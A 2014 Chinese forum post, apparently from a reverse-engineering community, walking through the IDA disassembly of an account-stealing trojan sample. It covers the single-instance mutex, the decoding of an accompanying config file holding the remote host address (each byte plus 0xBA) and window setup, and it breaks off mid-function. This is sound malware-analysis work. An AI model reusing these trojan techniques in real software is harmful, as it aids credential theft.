好友
阅读权限40
听众
最后登录1970-1-1
|
冰琥珀
发表于 2014-4-13 13:24
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
在纠结着这个帖子要不要发,类似的盗号木@JoyChou 已经分析过了,附上JoyChou的原帖路径:http://www.52pojie.cn/thread-207651-1-1.html
这是@lhc5800 在病毒样本区发的一个样本:http://www.52pojie.cn/thread-244182-1-1.html
通过一段纠结之后,觉得还是分析吧,就当练练手,自己之前也没分析过木马样本,这个比较简单,正适合我现在分析,好了,开始我们的逆向之旅吧。
用IDA载入,直接来到winmain函数中,如下所示:
[Asm] 纯文本查看 复制代码 0040188C 58 pop eax
.text:0040188D 8D 44 24 0C lea eax, [esp+30h+Name]
.text:00401891 50 push eax ; lpName
.text:00401892 6A 00 push 0 ; bInitialOwner
.text:00401894 6A 00 push 0 ; lpMutexAttributes
.text:00401896 66 C7 44 24 18 54 00 mov [esp+3Ch+Name], 54h
.text:0040189D 66 C7 44 24 1A 00 00 mov [esp+3Ch+var_22], 0
.text:004018A4 FF 15 6C 40 40 00 call ds:CreateMutexW ; 创建互斥体
.text:004018AA FF 15 68 40 40 00 call ds:GetLastError
.text:004018B0 3D B7 00 00 00 cmp eax, 0B7h
.text:004018B5 75 0B jnz short loc_4018C2
.text:004018B7
.text:004018B7 loc_4018B7: ; CODE XREF: WinMain(x,x,x,x)+B4j
.text:004018B7 33 C0 xor eax, eax
.text:004018B9 5F pop edi
.text:004018BA 5E pop esi
.text:004018BB 5D pop ebp
.text:004018BC 83 C4 24 add esp, 24h
.text:004018BF C2 10 00 retn 10h
.text:004018C2 ; ---------------------------------------------------------------------------
.text:004018C2
.text:004018C2 loc_4018C2: ; CODE XREF: WinMain(x,x,x,x)+35j
.text:004018C2 8B 4C 24 34 mov ecx, [esp+30h+hInstance]
.text:004018C6 6A 70 push 70h ; Size
.text:004018C8 6A 00 push 0 ; Val
.text:004018CA 68 18 64 40 00 push offset unk_406418 ; Dst
.text:004018CF 89 0D 44 D4 40 00 mov hInstance, ecx
.text:004018D5 E8 A4 1F 00 00 call memset
.text:004018DA 83 C4 0C add esp, 0Ch
.text:004018DD C7 05 EC 63 40 00 00 00+ mov dword_4063EC, 0
.text:004018E7 C6 44 24 34 6B mov byte ptr [esp+30h+hInstance], 6Bh
.text:004018EC C6 44 24 35 00 mov byte ptr [esp+30h+hInstance+1], 0
.text:004018F1 33 C0 xor eax, eax
.text:004018F3
.text:004018F3 loc_4018F3: ; CODE XREF: WinMain(x,x,x,x)+82j
.text:004018F3 8A 4C 04 34 mov cl, byte ptr [esp+eax+30h+hInstance]
.text:004018F7 88 88 20 D4 40 00 mov ClassName[eax], cl
.text:004018FD 83 C0 01 add eax, 1
.text:00401900 84 C9 test cl, cl
.text:00401902 75 EF jnz short loc_4018F3
.text:00401904 33 C0 xor eax, eax
.text:00401906 EB 08 jmp short loc_401910
.text:00401906 ; ---------------------------------------------------------------------------
.text:00401908 8D A4 24 00 00 00 00 90 align 10h
.text:00401910
.text:00401910 loc_401910: ; CODE XREF: WinMain(x,x,x,x)+86j
.text:00401910 ; WinMain(x,x,x,x)+A1j
.text:00401910 8A 88 20 D4 40 00 mov cl, ClassName[eax]
.text:00401916 88 88 2C D4 40 00 mov WindowName[eax], cl
.text:0040191C 83 C0 01 add eax, 1
.text:0040191F 84 C9 test cl, cl
.text:00401921 75 ED jnz short loc_401910
.text:00401923 E8 58 06 00 00 call sub_401F80 ; 解密文件夹下的200文件(这个文件的内容解密出来后就是远程主机的ip)
.text:00401928 E8 73 00 00 00 call sub_4019A0 ; 注册窗口类
.text:0040192D E8 0E 01 00 00 call sub_401A40 ; 创建窗口
.text:00401932 85 C0 test eax, eax
.text:00401934 74 81 jz short loc_4018B7
.text:00401936 8D 54 24 10 lea edx, [esp+30h+ThreadId]
.text:0040193A 52 push edx ; lpThreadId
.text:0040193B 6A 00 push 0 ; dwCreationFlags
.text:0040193D 6A 00 push 0 ; lpParameter
.text:0040193F 68 50 29 40 00 push offset StartAddress ; lpStartAddress
.text:00401944 6A 00 push 0 ; dwStackSize
.text:00401946 6A 00 push 0 ; lpThreadAttributes
.text:00401948 FF 15 58 40 40 00 call ds:CreateThread
.text:0040194E 8B 35 7C 41 40 00 mov esi, ds:GetMessageA
.text:00401954 6A 00 push 0 ; wMsgFilterMax
.text:00401956 6A 00 push 0 ; wMsgFilterMin
.text:00401958 6A 00 push 0 ; hWnd
.text:0040195A 8D 44 24 20 lea eax, [esp+3Ch+Msg]
.text:0040195E 50 push eax ; lpMsg
.text:0040195F FF D6 call esi ; GetMessageA
.text:00401961 85 C0 test eax, eax
.text:00401963 74 2B jz short loc_401990
.text:00401965 8B 3D 80 41 40 00 mov edi, ds:TranslateMessage
.text:0040196B 8B 2D 84 41 40 00 mov ebp, ds:DispatchMessageA
.text:00401971
.text:00401971 loc_401971: ; CODE XREF: WinMain(x,x,x,x)+10Ej
.text:00401971 8D 4C 24 14 lea ecx, [esp+30h+Msg]
.text:00401975 51 push ecx ; lpMsg
.text:00401976 FF D7 call edi ; TranslateMessage
.text:00401978 8D 54 24 14 lea edx, [esp+30h+Msg]
.text:0040197C 52 push edx ; lpMsg
.text:0040197D FF D5 call ebp ; DispatchMessageA
.text:0040197F 6A 00 push 0 ; wMsgFilterMax
.text:00401981 6A 00 push 0 ; wMsgFilterMin
.text:00401983 6A 00 push 0 ; hWnd
.text:00401985 8D 44 24 20 lea eax, [esp+3Ch+Msg]
.text:00401989 50 push eax ; lpMsg
.text:0040198A FF D6 call esi ; GetMessageA
.text:0040198C 85 C0 test eax, eax
.text:0040198E 75 E1 jnz short loc_401971
.text:00401990
.text:00401990 loc_401990: ; CODE XREF: WinMain(x,x,x,x)+E3j
.text:00401990 8B 44 24 1C mov eax, [esp+30h+Msg.wParam]
.text:00401994 5F pop edi
.text:00401995 5E pop esi
.text:00401996 5D pop ebp
.text:00401997 83 C4 24 add esp, 24h
.text:0040199A C2 10 00 retn 10h
.text:0040199A _WinMain@16 endp
本来想截图的,但是这个代码有点多,不好截图,就贴代码吧。代码虽然有点多,但是有用的东西不多,下面我们就一一来进行分析。在winmain开始的时候,就用 call ds:CreateMutexW来创建一个互斥体,这个主要是避免程序同时运行,然后判断下GetLastError的返回值,如果返回值不等于0x0b7(十进制是183,GetLastError返回值列表中的注释为:〖183〗-当文件已存在时,无法创建该文件。),即检测程序是否有在运行,如果运行就不跳转,否则程序跳转下去,继续运行。
跳转之后,程序先初始化一个数组,至于这个数组用来干嘛,我们后面会有分析。先看代码[Asm] 纯文本查看 复制代码 mov ecx, [esp+30h+hInstance]
.text:004018C6 6A 70 push 70h ; Size ;数组长度
.text:004018C8 6A 00 push 0 ; Val ;初始化的值
.text:004018CA 68 18 64 40 00 push offset unk_406418 ; Dst ;数组地址
.text:004018CF 89 0D 44 D4 40 00 mov hInstance, ecx
.text:004018D5 E8 A4 1F 00 00 call memset
然后就是初始化类名和窗口名,代码如下
[Asm] 纯文本查看 复制代码 004018E7 C6 44 24 34 6B mov byte ptr [esp+30h+hInstance], 6Bh
.text:004018EC C6 44 24 35 00 mov byte ptr [esp+30h+hInstance+1], 0
.text:004018F1 33 C0 xor eax, eax
.text:004018F3
.text:004018F3 loc_4018F3: ; CODE XREF: WinMain(x,x,x,x)+82j
.text:004018F3 8A 4C 04 34 mov cl, byte ptr [esp+eax+30h+hInstance] ; 初始化类名
.text:004018F7 88 88 20 D4 40 00 mov ClassName[eax], cl
.text:004018FD 83 C0 01 add eax, 1
.text:00401900 84 C9 test cl, cl
.text:00401902 75 EF jnz short loc_4018F3 ; 初始化ClassName
.text:00401904 33 C0 xor eax, eax
.text:00401906 EB 08 jmp short loc_401910
.text:00401906 ; ---------------------------------------------------------------------------
.text:00401908 8D A4 24 00 00 00 00 90 align 10h
.text:00401910
.text:00401910 loc_401910: ; CODE XREF: WinMain(x,x,x,x)+86j
.text:00401910 ; WinMain(x,x,x,x)+A1j
.text:00401910 8A 88 20 D4 40 00 mov cl, ClassName[eax]
.text:00401916 88 88 2C D4 40 00 mov WindowName[eax], cl ; 初始化窗口名
.text:0040191C 83 C0 01 add eax, 1
.text:0040191F 84 C9 test cl, cl
.text:00401921 75 ED jnz short loc_401910
通过上面这段代码我们可以知道,这个类名和窗口名是一样的,都是0x6b,通过ascii码查找可知这是字符'k'。这两个初始化完成之后,程序就调用了3个函数,接下来我们来好好分析下这些函数都干了些啥活。先看call sub_401F80,在上面的代码中我有注释,这个函数就是解密当前文件夹下的200文件(这个木马附带了一个名为200的文件)。我们来看看具体内容。先上代码:
[Asm] 纯文本查看 复制代码 .text:00401F80 81 EC 08 02 00 00 sub esp, 208h
.text:00401F86 A1 18 60 40 00 mov eax, ___security_cookie
.text:00401F8B 33 C4 xor eax, esp
.text:00401F8D 89 84 24 04 02 00 00 mov [esp+208h+var_4], eax
.text:00401F94 8D 44 24 10 lea eax, [esp+208h+FileName]
.text:00401F98 50 push eax ; lpBuffer
.text:00401F99 68 F4 01 00 00 push 1F4h ; nBufferLength
.text:00401F9E FF 15 3C 40 40 00 call ds:GetCurrentDirectoryA
代码有点多,我们一点一点来分析。在函数开始处,就调用了一个GetCurrentDirectoryA函数,这个函数就是获取当前路径的,获取到的路径保存在[esp+208h+FileName]里面,然后我们接着往下看。
[Asm] 纯文本查看 复制代码 .text:00401FA4 B0 5C mov al, 5Ch ; 对应的ascii字符是'\'
.text:00401FA6 88 44 24 08 mov [esp+208h+var_200], al
.text:00401FAA 88 44 24 09 mov [esp+208h+var_1FF], al
.text:00401FAE B0 30 mov al, 30h ; 对应的ascii字符是'0'
.text:00401FB0 88 44 24 0B mov [esp+208h+var_1FD], al
.text:00401FB4 88 44 24 0C mov [esp+208h+var_1FC], al
.text:00401FB8 8D 44 24 08 lea eax, [esp+208h+var_200]
.text:00401FBC C6 44 24 0A 32 mov [esp+208h+var_1FE], 32h ; 对应的ascii字符是'2'
.text:00401FC1 C6 44 24 0D 00 mov [esp+208h+var_1FB], 0
.text:00401FC6 8B C8 mov ecx, eax
上面的这段代码就是在局部变量数组中填充字符串,上面这段代码填充的字符串就是"\\200",这个其实就是木马附带的文件名,后面要用到。这个字符串的首地址放到的eax和ecx中。我们接着往下看:
[Asm] 纯文本查看 复制代码 .text:00401FC8 loc_401FC8: ; CODE XREF: sub_401F80+4Fj
.text:00401FC8 8A 10 mov dl, [eax]
.text:00401FCA 83 C0 01 add eax, 1
.text:00401FCD 84 D2 test dl, dl
.text:00401FCF 75 F7 jnz short loc_401FC8
.text:00401FD1 53 push ebx
.text:00401FD2 56 push esi
.text:00401FD3 57 push edi
.text:00401FD4 8D 7C 24 1C lea edi, [esp+214h+FileName]
.text:00401FD8 2B C1 sub eax, ecx
.text:00401FDA 8B F1 mov esi, ecx
.text:00401FDC 83 C7 FF add edi, 0FFFFFFFFh
.text:00401FDF 90 nop
上面讲到生成了一个字符串,还把首地址放到eax中,然后再上面的这段代码中,就从eax中取出数据,检测是否为0,不为0则获取下一位继续检测,这种手法很常见,几乎都是用来计算字符串长度的,这里也不例外。大家可以看到,在检测完成之后,有sub eax, ecx这个一行代码,此时eax保存的是字符串尾指针,ecx保存的是字符串头指针,这两个相减就是字符串的长度。这里还把之前保存当前路径缓存的首地址保存到了edi中,我们接着往下看。
[Asm] 纯文本查看 复制代码 .text:00401FE0 loc_401FE0: ; CODE XREF: sub_401F80+68j
.text:00401FE0 8A 4F 01 mov cl, [edi+1]
.text:00401FE3 83 C7 01 add edi, 1
.text:00401FE6 84 C9 test cl, cl
.text:00401FE8 75 F6 jnz short loc_401FE0
.text:00401FEA 8B C8 mov ecx, eax
.text:00401FEC C1 E9 02 shr ecx, 2
.text:00401FEF F3 A5 rep movsd
在上面的代码中我们有看到了一个与之前计算字符串长度相类似的代码,只是这里没有计算字符串长度,而是为了把指针移到字符串尾,然后把前面生成的"\\200"添加上去。然后就是打开200文件,并读取里面的内容,代码如下
[Asm] 纯文本查看 复制代码 .text:00401FF1 6A 00 push 0 ; hTemplateFile
.text:00401FF3 6A 00 push 0 ; dwFlagsAndAttributes
.text:00401FF5 6A 03 push 3 ; dwCreationDisposition
.text:00401FF7 6A 00 push 0 ; lpSecurityAttributes
.text:00401FF9 8B C8 mov ecx, eax
.text:00401FFB 83 E1 03 and ecx, 3
.text:00401FFE 6A 01 push 1 ; dwShareMode
.text:00402000 F3 A4 rep movsb
.text:00402002 68 00 00 00 80 push 80000000h ; dwDesiredAccess
.text:00402007 8D 4C 24 34 lea ecx, [esp+22Ch+FileName]
.text:0040200B 51 push ecx ; lpFileName
.text:0040200C FF 15 40 40 40 00 call ds:CreateFileA ; 打开200文件
.text:00402012 8B D8 mov ebx, eax
.text:00402014 83 FB FF cmp ebx, 0FFFFFFFFh
.text:00402017 89 5C 24 0C mov [esp+214h+var_208], ebx
.text:0040201B 75 1A jnz short loc_402037 ; 文件打开成功则跳转
.text:0040201D 5F pop edi
.text:0040201E 5E pop esi
.text:0040201F 33 C0 xor eax, eax
.text:00402021 5B pop ebx
.text:00402022 8B 8C 24 04 02 00 00 mov ecx, [esp+208h+var_4]
.text:00402029 33 CC xor ecx, esp
.text:0040202B E8 A4 0F 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00402030 81 C4 08 02 00 00 add esp, 208h
.text:00402036 C3 retn
.text:00402037 ; ---------------------------------------------------------------------------
.text:00402037
.text:00402037 loc_402037: ; CODE XREF: sub_401F80+9Bj
.text:00402037 55 push ebp
.text:00402038 6A 00 push 0 ; lpFileSizeHigh
.text:0040203A 53 push ebx ; hFile
.text:0040203B FF 15 44 40 40 00 call ds:GetFileSize ; 获取文件长度
.text:00402041 8B F0 mov esi, eax
.text:00402043 8D 7E 01 lea edi, [esi+1]
.text:00402046 57 push edi ; unsigned int
.text:00402047 E8 98 0F 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text:0040204C 57 push edi ; Size
.text:0040204D 8B E8 mov ebp, eax
.text:0040204F 6A 00 push 0 ; Val
.text:00402051 55 push ebp ; Dst
.text:00402052 E8 27 18 00 00 call memset ; 分配一个内存并初始化,内存大小为200文件大小
.text:00402057 83 C4 10 add esp, 10h
.text:0040205A 6A 00 push 0 ; lpOverlapped
.text:0040205C 8D 54 24 18 lea edx, [esp+21Ch+NumberOfBytesRead]
.text:00402060 52 push edx ; lpNumberOfBytesRead
.text:00402061 56 push esi ; nNumberOfBytesToRead
.text:00402062 55 push ebp ; lpBuffer
.text:00402063 53 push ebx ; hFile
.text:00402064 FF 15 48 40 40 00 call ds:ReadFile ; 读取200文件
.text:0040206A 68 D5 00 00 00 push 0D5h ; Size
.text:0040206F 6A 00 push 0 ; Val
.text:00402071 68 D5 00 00 00 push 0D5h ; unsigned int
.text:00402076 E8 69 0F 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text:0040207B 83 C4 04 add esp, 4
.text:0040207E 50 push eax ; Dst
.text:0040207F E8 FA 17 00 00 call memset ; 分配一个内存并初始化,大小为0x0d5
我们说过,这个函数的主要功能就是解密200文件,上面这段代码已经将文件内容读取出来了,文件内容缓存的首地址保存在ebp中。接下来就要对文件内容进行解密了,我们一点一点来分析。
[Asm] 纯文本查看 复制代码 .text:00402090 loc_402090: ; CODE XREF: sub_401F80+117j
.text:00402090 8A 10 mov dl, [eax] ; 取出一字节数据
.text:00402092 83 C0 01 add eax, 1 ; 指针下移一位
.text:00402095 84 D2 test dl, dl
.text:00402097 75 F7 jnz short loc_402090 ; 如果取出的数据不为0则继续获取,否则停止获取
.text:00402099 2B C6 sub eax, esi ; 检测取出的数据的个数
.text:0040209B 74 22 jz short loc_4020BF ; 如果结果为0说明这里没有字符串,不用对其进行解密,程序跳转去查找第二段字符串
.text:0040209D 8D 49 00 lea ecx, [ecx+0]
.text:004020A0
.text:004020A0 loc_4020A0: ; CODE XREF: sub_401F80+13Dj
.text:004020A0 80 04 29 BA add byte ptr [ecx+ebp], 0BAh ; 解密数据,由此可知,取出的这段字符串在保存时是与0x0ba进行减法运算,然后才保存的
.text:004020A4 8B C5 mov eax, ebp
.text:004020A6 83 C1 01 add ecx, 1
.text:004020A9 8D 70 01 lea esi, [eax+1]
.text:004020AC 8D 64 24 00 lea esp, [esp+0]
.text:004020B0
.text:004020B0 loc_4020B0: ; CODE XREF: sub_401F80+137j
.text:004020B0 8A 10 mov dl, [eax] ; 这个循环获取字符串的长度
.text:004020B2 83 C0 01 add eax, 1
.text:004020B5 84 D2 test dl, dl
.text:004020B7 75 F7 jnz short loc_4020B0 ; 这个循环获取字符串的长度
.text:004020B9 2B C6 sub eax, esi
.text:004020BB 3B C8 cmp ecx, eax ; 检测数据是否解密完成
.text:004020BD 72 E1 jb short loc_4020A0 ; 未解密完成则跳转
上面这段代码先是判断是否存在字符串,如果存在字符串,则对其进行解密,解密的过程如上面的代码所示。如果第一段字符串不存在,那么就继续查找第二段字符串。代码如下:
[Asm] 纯文本查看 复制代码 .text:004020BF loc_4020BF: ; CODE XREF: sub_401F80+11Bj
.text:004020BF 8D 45 0B lea eax, [ebp+0Bh] ; 第二段字符串的偏移为0x0b
.text:004020C2 8D 50 01 lea edx, [eax+1]
.text:004020C5
.text:004020C5 loc_4020C5: ; CODE XREF: sub_401F80+14Cj
.text:004020C5 8A 08 mov cl, [eax] ; 取出数据
.text:004020C7 83 C0 01 add eax, 1
.text:004020CA 84 C9 test cl, cl
.text:004020CC 75 F7 jnz short loc_4020C5 ; 取到的数据为0,则说明指针已经移到字符串尾
.text:004020CE 2B C2 sub eax, edx ; 判断取到的字符串个数
.text:004020D0 74 30 jz short loc_402102 ; 如果为0则说明没有字符串,程序跳转到下一个偏移继续查找
.text:004020D2 BF F5 FF FF FF mov edi, 0FFFFFFF5h
.text:004020D7 8D 4D 0B lea ecx, [ebp+0Bh]
.text:004020DA 2B FD sub edi, ebp ; 这里其实是为了下面计算读取到的字符个数
.text:004020DC 8D 64 24 00 lea esp, [esp+0]
.text:004020E0
.text:004020E0 loc_4020E0: ; CODE XREF: sub_401F80+180j
.text:004020E0 80 01 BA add byte ptr [ecx], 0BAh ; 字符解密,与上一个字符串的解密方式一样
.text:004020E3 8D 45 0B lea eax, [ebp+0Bh]
.text:004020E6 83 C1 01 add ecx, 1
.text:004020E9 8D 70 01 lea esi, [eax+1]
.text:004020EC 8D 64 24 00 lea esp, [esp+0]
.text:004020F0
.text:004020F0 loc_4020F0: ; CODE XREF: sub_401F80+177j
.text:004020F0 8A 10 mov dl, [eax]
.text:004020F2 83 C0 01 add eax, 1
.text:004020F5 84 D2 test dl, dl
.text:004020F7 75 F7 jnz short loc_4020F0 ; 这个循环计算这段字符串的长度
.text:004020F9 2B C6 sub eax, esi
.text:004020FB 8D 14 0F lea edx, [edi+ecx] ; 这里得到的是当前已经解密的字符个数
.text:004020FE 3B D0 cmp edx, eax
.text:00402100 72 DE jb short loc_4020E0 ; 字符串未解密完成则跳转回去接续解密
.text:00402102
.text:00402102 loc_402102: ; CODE XREF: sub_401F80+150j
.text:00402102 8D 7D 70 lea edi, [ebp+70h] ; 获取第三段字符串:第三段字符串的偏移为0x70
.text:00402105 8B C7 mov eax, edi
.text:00402107 8D 50 01 lea edx, [eax+1]
.text:0040210A 8D 9B 00 00 00 00 lea ebx, [ebx+0]
.text:00402110
.text:00402110 loc_402110: ; CODE XREF: sub_401F80+197j
.text:00402110 8A 08 mov cl, [eax]
.text:00402112 83 C0 01 add eax, 1
.text:00402115 84 C9 test cl, cl
.text:00402117 75 F7 jnz short loc_402110 ; 计算字符串长度
.text:00402119 2B C2 sub eax, edx
.text:0040211B 74 2A jz short loc_402147 ; 如果字符串不存在则往下跳转
.text:0040211D BB 90 FF FF FF mov ebx, 0FFFFFF90h
.text:00402122 8B CF mov ecx, edi
.text:00402124 2B DD sub ebx, ebp
.text:00402126
.text:00402126 loc_402126: ; CODE XREF: sub_401F80+1C1j
.text:00402126 80 01 BA add byte ptr [ecx], 0BAh ; 解密字符
.text:00402129 8B C7 mov eax, edi
.text:0040212B 83 C1 01 add ecx, 1
.text:0040212E 8D 70 01 lea esi, [eax+1]
.text:00402131
.text:00402131 loc_402131: ; CODE XREF: sub_401F80+1B8j
.text:00402131 8A 10 mov dl, [eax]
.text:00402133 83 C0 01 add eax, 1
.text:00402136 84 D2 test dl, dl
.text:00402138 75 F7 jnz short loc_402131 ; 这个循环计算待解密的字符串大小
.text:0040213A 2B C6 sub eax, esi
.text:0040213C 8D 14 0B lea edx, [ebx+ecx]
.text:0040213F 3B D0 cmp edx, eax
.text:00402141 72 E3 jb short loc_402126 ; 字符未解密完成则跳转回去继续解密
.text:00402143 8B 5C 24 10 mov ebx, [esp+218h+var_208] ; 把文件句柄存入ebx
上面这段代码把字符串都解密了,解密的方式和第一段字符串的方式一样,这里就不具体分析了。当数据全部解密了之后,程序申请的一段内存空间来存放解密过后的数据,并将这段内存空间地址保存在一个全局变量中,代码如下:
[Asm] 纯文本查看 复制代码 .text:00402147 loc_402147: ; CODE XREF: sub_401F80+19Bj
.text:00402147 68 E9 00 00 00 push 0E9h ; unsigned int
.text:0040214C E8 93 0E 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text:00402151 68 E9 00 00 00 push 0E9h ; Size
.text:00402156 8B F0 mov esi, eax
.text:00402158 6A 00 push 0 ; Val
.text:0040215A 56 push esi ; Dst
.text:0040215B 89 35 14 64 40 00 mov dword_406414, esi ; 将申请到的内存地址保存到全局变量中
.text:00402161 E8 18 17 00 00 call memset ; 申请内存空间并将其初始化
.text:00402166 8D 45 0B lea eax, [ebp+0Bh] ; 已经解密的第二串字符串地址
.text:00402169 8D 56 0B lea edx, [esi+0Bh] ; 设置字符串的存放位置
.text:0040216C 83 C4 10 add esp, 10h
.text:0040216F 2B D0 sub edx, eax
.text:00402171
.text:00402171 loc_402171: ; CODE XREF: sub_401F80+1FBj
.text:00402171 8A 08 mov cl, [eax] ; 取出解密好的数据
.text:00402173 88 0C 02 mov [edx+eax], cl ; 将数据存入新申请的内存空间中
.text:00402176 83 C0 01 add eax, 1
.text:00402179 84 C9 test cl, cl
.text:0040217B 75 F4 jnz short loc_402171 ; 数据为存放完毕则跳回去继续存放
.text:0040217D 8D 56 70 lea edx, [esi+70h] ; 设置下一个字符串的存放位置
.text:00402180 8B C7 mov eax, edi
.text:00402182 2B D7 sub edx, edi
.text:00402184
.text:00402184 loc_402184: ; CODE XREF: sub_401F80+20Ej
.text:00402184 8A 08 mov cl, [eax] ; 取出字符串
.text:00402186 88 0C 02 mov [edx+eax], cl ; 将字符串存入新分配的内存中
.text:00402189 83 C0 01 add eax, 1
.text:0040218C 84 C9 test cl, cl
.text:0040218E 75 F4 jnz short loc_402184
.text:00402190 8B D6 mov edx, esi ; 设置偏移为0的字符串的存放位置
.text:00402192 8B C5 mov eax, ebp ; 偏移为0的字符串地址
.text:00402194 2B D5 sub edx, ebp
.text:00402196 5D pop ebp
.text:00402197
.text:00402197 loc_402197: ; CODE XREF: sub_401F80+221j
.text:00402197 8A 08 mov cl, [eax] ; 取出字符串
.text:00402199 88 0C 02 mov [edx+eax], cl ; 存入字符串
.text:0040219C 83 C0 01 add eax, 1
.text:0040219F 84 C9 test cl, cl
.text:004021A1 75 F4 jnz short loc_402197 ; 取出字符串
.text:004021A3 53 push ebx ; hObject
.text:004021A4 FF 15 4C 40 40 00 call ds:CloseHandle ; 关闭文件
.text:004021AA 8B 8C 24 10 02 00 00 mov ecx, [esp+214h+var_4]
.text:004021B1 5F pop edi
.text:004021B2 5E pop esi
.text:004021B3 5B pop ebx
.text:004021B4 33 CC xor ecx, esp
.text:004021B6 B8 01 00 00 00 mov eax, 1
.text:004021BB E8 14 0E 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:004021C0 81 C4 08 02 00 00 add esp, 208h
.text:004021C6 C3 retn
.text:004021C6 sub_401F80 endp
这样,我们就把这个木马附带的200文件数据的解密方式给分析完了,接下来,我们就要去看看这个木马是怎么干活的。继续我们的分析,接下来看call sub_4019A0 ; 注册窗口类函数,代码如下:
[Asm] 纯文本查看 复制代码 .text:004019A0 83 EC 30 sub esp, 30h
.text:004019A3 A1 44 D4 40 00 mov eax, hInstance
.text:004019A8 56 push esi
.text:004019A9 8B 35 60 41 40 00 mov esi, ds:LoadIconA
.text:004019AF 68 00 7F 00 00 push 7F00h ; lpIconName
.text:004019B4 6A 00 push 0 ; hInstance
.text:004019B6 C7 44 24 0C 30 00 00 00 mov [esp+3Ch+var_30.cbSize], 30h
.text:004019BE C7 44 24 10 03 00 00 00 mov [esp+3Ch+var_30.style], 3
.text:004019C6 C7 44 24 14 D0 21 40 00 mov [esp+3Ch+var_30.lpfnWndProc], offset sub_4021D0 ; 消息处理过程函数
.text:004019CE C7 44 24 18 00 00 00 00 mov [esp+3Ch+var_30.cbClsExtra], 0
.text:004019D6 C7 44 24 1C 00 00 00 00 mov [esp+3Ch+var_30.cbWndExtra], 0
.text:004019DE 89 44 24 20 mov [esp+3Ch+var_30.hInstance], eax
.text:004019E2 FF D6 call esi ; LoadIconA
.text:004019E4 68 00 7F 00 00 push 7F00h ; lpCursorName
.text:004019E9 6A 00 push 0 ; hInstance
.text:004019EB 89 44 24 24 mov [esp+3Ch+var_30.hIcon], eax
.text:004019EF FF 15 64 41 40 00 call ds:LoadCursorA
.text:004019F5 8B 4C 24 18 mov ecx, [esp+34h+var_30.hInstance]
.text:004019F9 68 00 7F 00 00 push 7F00h ; lpIconName
.text:004019FE 51 push ecx ; hInstance
.text:004019FF 89 44 24 28 mov [esp+3Ch+var_30.hCursor], eax
.text:00401A03 C7 44 24 2C 06 00 00 00 mov [esp+3Ch+var_30.hbrBackground], 6
.text:00401A0B C7 44 24 30 00 00 00 00 mov [esp+3Ch+var_30.lpszMenuName], 0
.text:00401A13 C7 44 24 34 20 D4 40 00 mov [esp+3Ch+var_30.lpszClassName], offset ClassName
.text:00401A1B FF D6 call esi ; LoadIconA
.text:00401A1D 8D 54 24 04 lea edx, [esp+34h+var_30]
.text:00401A21 52 push edx ; WNDCLASSEXA *
.text:00401A22 89 44 24 34 mov [esp+38h+var_30.hIconSm], eax
.text:00401A26 FF 15 68 41 40 00 call ds:RegisterClassExA
.text:00401A2C 5E pop esi
.text:00401A2D 83 C4 30 add esp, 30h
.text:00401A30 C3 retn
上面的这段代码注册了一个窗口类,这个窗口的消息处理过程函数是sub_4021D0,当这个窗口接收到消息后,都会调用这个消息处理过程函数来处理接收到的消息。下面我们来看这个消息处理过程都干了些啥。
[Asm] 纯文本查看 复制代码 .text:004021D9 A1 18 60 40 00 mov eax, ___security_cookie
.text:004021DE 33 C4 xor eax, esp
.text:004021E0 89 44 24 78 mov [esp+7Ch+var_4], eax
.text:004021E4 8B 45 0C mov eax, [ebp+Msg]
.text:004021E7 53 push ebx
.text:004021E8 33 DB xor ebx, ebx
.text:004021EA 83 E8 01 sub eax, 1 ; 检测消息是否为WM_CREATE
.text:004021ED 56 push esi
.text:004021EE 8B 75 08 mov esi, [ebp+hWnd]
.text:004021F1 57 push edi
.text:004021F2 C7 44 24 20 01 00 00 00 mov [esp+88h+var_68], 1
.text:004021FA 89 5C 24 24 mov [esp+88h+var_64], ebx
.text:004021FE 89 5C 24 28 mov [esp+88h+var_60], ebx
.text:00402202 89 5C 24 2C mov [esp+88h+var_5C], ebx
.text:00402206 0F 84 67 01 00 00 jz loc_402373
.text:0040220C 83 E8 0E sub eax, 0Eh ; 检测消息是否为WM_PAINT
.text:0040220F 74 1F jz short loc_402230
.text:00402211 2D F2 01 00 00 sub eax, 1F2h ; 检测消息是否为WM_LBUTTONDOWN
.text:00402216 0F 85 6C 01 00 00 jnz loc_402388 ; 不是就跳转
.text:0040221C 53 push ebx ; lParam
.text:0040221D 6A 02 push 2 ; wParam
.text:0040221F 68 A1 00 00 00 push 0A1h ; Msg
.text:00402224 56 push esi ; hWnd
.text:00402225 FF 15 8C 41 40 00 call ds:SendMessageA
.text:0040222B E9 58 01 00 00 jmp loc_402388
通过上面这段代码我们可以知道,这个消息处理过程主要就是处理3个消息:WM_CREATE、WM_PAINT和WM_LBUTTONDOWN。WM_PAINT和WM_LBUTTONDOWN这两个消息我们基本可以忽略了,下面就看看WM_CREATE这里面干了些啥。
[Asm] 纯文本查看 复制代码 .text:00402373 loc_402373: ; CODE XREF: sub_4021D0+36j
.text:00402373 53 push ebx
.text:00402374 8D 54 24 24 lea edx, [esp+8Ch+var_68]
.text:00402378 52 push edx
.text:00402379 8D 44 24 20 lea eax, [esp+90h+var_70]
.text:0040237D 50 push eax
.text:0040237E E8 E5 0B 00 00 call GdiplusStartup
.text:00402383 E8 F8 F9 FF FF call sub_401D80
我们来到处理WM_CREATE消息的地方,看到这调用了一个函数sub_401D80,我们进去看看。
[Asm] 纯文本查看 复制代码 .text:00401D9E B8 41 00 00 00 mov eax, 41h
.text:00401DA3 57 push edi
.text:00401DA4 8B 3D B4 40 40 00 mov edi, ds:GetModuleHandleA
.text:00401DAA 66 89 44 24 18 mov [esp+24h+var_C], ax
.text:00401DAF 66 89 44 24 1C mov [esp+24h+var_8], ax
.text:00401DB4 8D 44 24 0C lea eax, [esp+24h+Type]
.text:00401DB8 50 push eax ; lpType
.text:00401DB9 B9 54 00 00 00 mov ecx, 54h
.text:00401DBE 68 85 00 00 00 push 85h ; lpName
.text:00401DC3 6A 00 push 0 ; lpModuleName
